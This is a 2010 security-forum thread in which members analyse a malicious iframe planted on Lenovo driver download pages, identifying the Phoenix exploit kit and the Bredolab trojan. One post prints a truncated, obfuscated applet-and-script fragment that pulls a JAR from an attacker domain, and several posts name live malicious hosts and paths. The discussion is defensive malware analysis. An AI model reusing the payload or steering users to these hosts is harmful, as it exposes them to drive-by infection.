Wilders Security Forums  

Go Back   Wilders Security Forums > Other Security Topics > other security issues & news
User Name
Password
Register FAQ Members List Calendar Search Today's Posts Mark Forums Read

 
 
Thread Tools Search this Thread
  #1  
Old June 20th, 2010, 12:37 PM
Ocky's Avatar
Ocky Ocky is offline
Very Frequent Poster
 
Join Date: May 2006
Location: George, S.Africa
Posts: 2,537
Default Malware (Trojan) found in download portal of Lenovo.

Don't use Lenovo Thinkpads, but came across this through a German site.
Apparently it's a Java based trojan downloader and seems to be using (hiding in) an IFrame left by the attacker.
Found this from German Forum... http://www.thinkpad-forum.de/softwar...treibermatrix/ (German)
Quote:
Click image for larger version

Name:	Trojan Lenovo Download portal.png
Views:	20
Size:	88.5 KB
ID:	219108

Some of the known download sites affected:-

hxxp://download.lenovo.com/lenovo/content/ddfm/MIGR-61596.html (R51e)
hxxp://download.lenovo.com/lenovo/content/ddfm/MIGR-67100.html (X41 Tablet)
hxxp://download.lenovo.com/lenovo/content/ddfm/MIGR-68184.html (Reserve Edition)
hxxp://download.lenovo.com/lenovo/content/ddfm/MIGR-46024.html (R40, R40e)

PS. It appears that Firefox and Chrome warn visitors to the website in question.
__________________
Ubuntu Kubuntu Xubuntu Scientific Linux
  #2  
Old June 20th, 2010, 08:59 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

Yes, it's a well-crafted attack.

Often, the i-frame or script code injection is not the fault of the web site itself, rather, the web hosting server where the vulnerability lies, giving the hacker root access whereby the malicious code can be injected into all of the HTML pages, as shown in your example.

Using IE to watch the pages load, we see the malicious domain being loaded by the I-frame you post:

Name:  i-frame_1.gif
Views: 686
Size:  20.6 KB

That domain has been taken down, so we can't see how the actual exploit works. Most malicious sites these days have an exploit pack, a group of exploits looking for a vulnerability in the user's system when redirected to the malicious website.


----
rich
  #3  
Old June 21st, 2010, 06:05 AM
Mornsgrans Mornsgrans is offline
Infrequent Poster
 
Join Date: Jun 2010
Posts: 1
Default Re: Malware (Trojan) found in download portal of Lenovo.

Quote:
Originally Posted by Rmus
That domain has been taken down, so we can't see how the actual exploit works.

That domain seems to be up again as i read a few minutes ago in annother forum it but not tested by myself.
  #4  
Old June 21st, 2010, 07:30 AM
Bugbatter's Avatar
Bugbatter Bugbatter is offline
Security Expert
 
Join Date: Jun 2004
Location: USA
Posts: 12
Default Re: Malware (Trojan) found in download portal of Lenovo.

According to source at Lenovo, the malware issue impacts html files hosted on download.lenovo.com. Searching for general (drivers EXE, PDF, warranty status, IWS, system service parts, etc.) at lenovo.com domain remains unaffected.
__________________
Microsoft MVP - Consumer Security

"To teach is to learn twice." -- Joseph Joub
  #5  
Old June 21st, 2010, 11:34 AM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

Quote:
Originally Posted by Mornsgrans
That domain seems to be up again as i read a few minutes ago in annother forum it but not tested by myself.
Thanks - indeed it is back up, but Lenovo has cleaned up its HTML pages on its Download site. However, we can test the link directly, and at least one of the exploits uses a Java applet, as that forum mentioned:

Name:  volgo_1.gif
Views: 599
Size:  25.1 KB

This exploit uses "evasive" techniques, so that if an attempt is made to connect another time, the Google Search Page appears:

Name:  volgo_2.gif
Views: 597
Size:  30.7 KB

Finjan wrote about this several years ago:

Evasive Attacks Cover Their Tracks to Avoid Detection
http://www.finjan.com/Pressrelease.a...Lan=1230&lan=3
Quote:
Evasive attack techniques where malicious code is controlled per IP address, country of origin or number of visits provide hackers with the ability to minimize the malicious code’s exposure, thereby reducing the likelihood of detection. Moreover, evasive attacks can identify the IP addresses of crawlers used by URL filtering, reputation services and search engines, replying to these engines with legitimate content and increasing the chances of mistakenly being classified by them as a legitimate category," said Yuval Ben-Itzhak, CTO, Finjan. "The combination of these evasive attacks with code obfuscation techniques significantly enhances the capability of sophisticated hackers to go undetected.
If you are testing using a dynamic IP address, disconnecting/reconnecting allows loading the site again.

The code is definitely obfuscated (disguised). You can see that it downloads a .JAR (java) file, but the script itself cannot be understood without sophisticated de-obfuscation analysis:

Code:
<body><applet code='dev.s.Saxonia' archive='tmp/des.jar' VALUE='http://volgo - marun . cn /......? <script>var joetf6="d.<i'<ih``=A2F40Joa;=%55%58%43%71%84%35% 0e%ee%8e%56%40%50%89%f0%ee%8c%95%c5%95%08%05%00%08 %05%8e%56%40%50%89%f0%ee%8c%95%c5%95%08%05%00%08% 70%60%ca%3c%b1%81%8c%08%08%08%a0%53%00%ff%ee%20%ac %00%00%00%00%10%ff%83%55%44%76%46%67%06%67s+ %22%66%27%67%9rk6%76%77%66%36%f`vd.lo;t'prc,B-D09r`at2Pa.bhl'r Cjoatp.Epoc.';)(tpy`.eae.;e).e;e)hFnO(ibd'=de<aiel'm`lp''aab'snieScm'aiofi5t <<>i(celIn`dnei&Lexs=r`osej+ttnbo+id6185'sbeu}'}nPa`gpdi'`:nd'.mat (a'06F235EF66e4FE5EF8DD3re500004FB0312A4D67899846EA284399504FF35 F7188A20916892994CFFBD608034741047C2374238C8CD5E001086AA803CE7 yman'doard.h)ri+euw}eosuI)=tE'gri;tplognfrbdo'Pypetcettlowbv>Odewcc88-

I could not get the exploit to run using Opera, even with Java enabled.


----
rich
  #6  
Old June 21st, 2010, 12:52 PM
CloneRanger's Avatar
CloneRanger CloneRanger is offline
Massive Poster
 
Join Date: Jan 2006
Location: Home usually
Posts: 3,858
Exclamation Re: Malware (Trojan) found in download portal of Lenovo.

Very surprised Lenovo got hit, i expect the chinese to be on the ball. Just shows

Tried several times yesterday with FF and IE but saw nothing but a blank page and no nasty. Today though

Name:  vol.gif
Views: 579
Size:  7.3 KB

still no nasty etc i could find.

Wonder how many people got infected, probably not that many ? but still not good.
__________________
.
Malware = You don't scare me

A different perspective https://rt.com - https://rt.com/on-air
  #7  
Old June 21st, 2010, 04:31 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

Quote:
Originally Posted by CloneRanger
still no nasty etc i could find.
You won't find the exploit by going to the domain - the cybercriminals use the domain to point directly to the exploit file.

If you are set up to test, you can use the direct URL shown in the i-frame in the screenshot in the first post.

----
rich
  #8  
Old June 21st, 2010, 05:48 PM
CloneRanger's Avatar
CloneRanger CloneRanger is offline
Massive Poster
 
Join Date: Jan 2006
Location: Home usually
Posts: 3,858
Default Re: Malware (Trojan) found in download portal of Lenovo.

@Rmus

Hi, couldn't see/find anything on there last time, even in the source ? However when i added /pek/index.php onto the www i got all this on the page

Click image for larger version

Name:	v1.gif
Views:	7
Size:	17.1 KB
ID:	219148

Allowed Scripting and the Java etc box dissapeared Don't have/want/ Java though. Refreshed the page and i got a redirect attempt to Google. Tried various attempts to go back, with/without Scripting/iframe, but just got time outs after about 1-2 minutes. Even using proxies with both www's resulted in the same outcome. Maybe they actively monitor their www for repeated polling etc, and then block ?

If i had managed to grab something i would have passed it on to vendors and VT etc, as i wasn't planning on running it
__________________
.
Malware = You don't scare me

A different perspective https://rt.com - https://rt.com/on-air
  #9  
Old June 21st, 2010, 10:09 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

That URL is no longer loading the Java Applet. Search for
Code:
dev.s.Saxonia
and you will see that it is part of the exploit -- it's been around for a month or so in various guises and redirection exploits.

Quote:
Originally Posted by CloneRanger
Refreshed the page and i got a redirect attempt to Google... Maybe they actively monitor their www for repeated polling etc, and then block ?
See my comments in Post #5 about evasive techniques.

----
rich
  #10  
Old June 22nd, 2010, 04:03 AM
CloneRanger's Avatar
CloneRanger CloneRanger is offline
Massive Poster
 
Join Date: Jan 2006
Location: Home usually
Posts: 3,858
Exclamation Re: Malware (Trojan) found in download portal of Lenovo.

@Rmus

Got the source page this time and sure enough just like you said dev.s.Saxonia is there. Also saw tmp/des.jar

Click image for larger version

Name:	dev.gif
Views:	2
Size:	5.1 KB
ID:	219153

Inputted into the very useful http://jsunpack.jeek.org/dec/go and got

Click image for larger version

Name:	js.gif
Views:	4
Size:	17.6 KB
ID:	219155

DL'd the Zip

Name:  av.gif
Views: 507
Size:  26.9 KB

As you say

Quote:
it's been around for a month or so in various guises and redirection exploits

Also noticed in there

Name:  reg.gif
Views: 501
Size:  1.4 KB

Thought you might be interested in the PDF exploits and Drivebys from there

Click image for larger version

Name:	nort.gif
Views:	0
Size:	16.3 KB
ID:	219157

Viruses Threats found: 8

Drive-By Downloads Threats found: 6

http://safeweb.norton.com/report/sho...egistr3red.com


Quote:
See my comments in Post #5 about evasive techniques.


Quite right Sir, good thing i'm not one of your students, otherwise detention for me I could think of a lot worse places for it though than sunny CA Lucky you
__________________
.
Malware = You don't scare me

A different perspective https://rt.com - https://rt.com/on-air
  #11  
Old June 22nd, 2010, 04:29 AM
Ocky's Avatar
Ocky Ocky is offline
Very Frequent Poster
 
Join Date: May 2006
Location: George, S.Africa
Posts: 2,537
Default Re: Malware (Trojan) found in download portal of Lenovo.

Malicious code on Lenovo driver download page - Update

Quote:
Update: It now seems that the dropper was the Phoenix Kit and that once activated it downloaded the Bredolab trojan. Lenovo appears to have now removed the iframe from the affected web pages.
__________________
Ubuntu Kubuntu Xubuntu Scientific Linux
  #12  
Old June 22nd, 2010, 11:04 AM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

Quote:
Originally Posted by CloneRanger
@Rmus

Got the source page this time and sure enough just like you said dev.s.Saxonia is there. Also saw tmp/des.jar

Inputted into the very useful http://jsunpack.jeek.org/dec/go
This is a great tool for analysis. Thanks for posting.

Quote:
Thought you might be interested in the PDF exploits and Drivebys from there
As you (and Ocky) discovered, the exploit uses an Exploit Pack, or Kit, which is very popular these days, as I mentioned in Post #2 above. The Kit comes with pre-packaged exploits targeting common vulnerabilities, both patched and non-patched. The list of exploits will change, as new vulnerabilites in applications are discovered, PDF being quite useful these days!

The cybercriminal purchases the Kit and sets up a web site (volgo-marun and registr3red in this case). The cybercriminals will have the exploit download the malware executable of their choice. Then, it's just a matter of using web tools to search around for vulnerable web servers in order to inject a malicious i-frame or script (SQL injection being very popular) that redirects the victim to the malicious web site that hosts the exploit kit.

You may remember we discussed exploit kits in the Blade-Defender thread. For those who missed that, I posted a summary/description of some of the kits:

http://www.wilderssecurity.com/showt...04#post1630504

As I pointed out, these types of attacks are really easy to prevent, since all of the exploits have one goal in mind: download a trojan executable. There are so many solutions these days to block this, so it's just a matter of getting the word out to all of your friends/acquaintances and help them set up suitable protection!

----
rich
  #13  
Old June 22nd, 2010, 01:45 PM
Ocky's Avatar
Ocky Ocky is offline
Very Frequent Poster
 
Join Date: May 2006
Location: George, S.Africa
Posts: 2,537
Default Re: Malware (Trojan) found in download portal of Lenovo.

Just to say thanks, Rmus, for the very instructive postings and thanks to CloneRanger for digging deep.
__________________
Ubuntu Kubuntu Xubuntu Scientific Linux
  #14  
Old June 22nd, 2010, 02:27 PM
CloneRanger's Avatar
CloneRanger CloneRanger is offline
Massive Poster
 
Join Date: Jan 2006
Location: Home usually
Posts: 3,858
Lightbulb Re: Malware (Trojan) found in download portal of Lenovo.

@Rmus

Quote:
This is a great tool for analysis. Thanks for posting.

Glad you like it, and hope it proves very useful to you from now on I only discovered it by accident yesterday as i was searching for info etc on registr3red.com etc

They are still at it today with more live nasties,

Name:  vol.gif
Views: 411
Size:  1.3 KB

I DL'd 2 from slightly different www's

Name:  exeup.gif
Views: 413
Size:  22.9 KB

exe.exe = update.exe = Trojan Bredolab

Only 2 shows on VT for both = same nasty, different name.

PEXK open and waiting

Name:  pex.gif
Views: 410
Size:  14.3 KB

Quote:
You may remember we discussed exploit kits in the Blade-Defender thread.

Yes indeed, and definately worth checking out for those that havn't Still no sign of Blade-Defender as of yet Maybe it's a case of " all good things come to those that wait "

Quote:
There are so many solutions these days to block this, so it's just a matter of getting the word out to all of your friends/acquaintances and help them set up suitable protection!

Yep, word up

@Ocky

Quote:
Just to say thanks, Rmus, for the very instructive postings and thanks to CloneRanger for digging deep.

You're very welcome but Rmus is the expert, not me I just tinker here and there and do whatever i can

Thanks for the Update: Confirmed above.
__________________
.
Malware = You don't scare me

A different perspective https://rt.com - https://rt.com/on-air
  #15  
Old June 22nd, 2010, 11:42 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: Malware (Trojan) found in download portal of Lenovo.

Quote:
Originally Posted by CloneRanger
PEXK open and waiting
So, pek in the URL stands for Phoenix Exploit Kit? Very interesting!

Quote:
Originally Posted by Ocky
Just to say thanks, Rmus, for the very instructive postings and thanks to CloneRanger for digging deep.
You are welcome, and yes, he has done some deep digging here!

----
rich
 

Wilders Security Forums > Other Security Topics > other security issues & news « Previous Thread | Next Thread »

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Settings
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -4. The time now is 02:15 AM.


Powered by vBulletin® Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Copyright ©2002 - 2013, Wilders Security Forums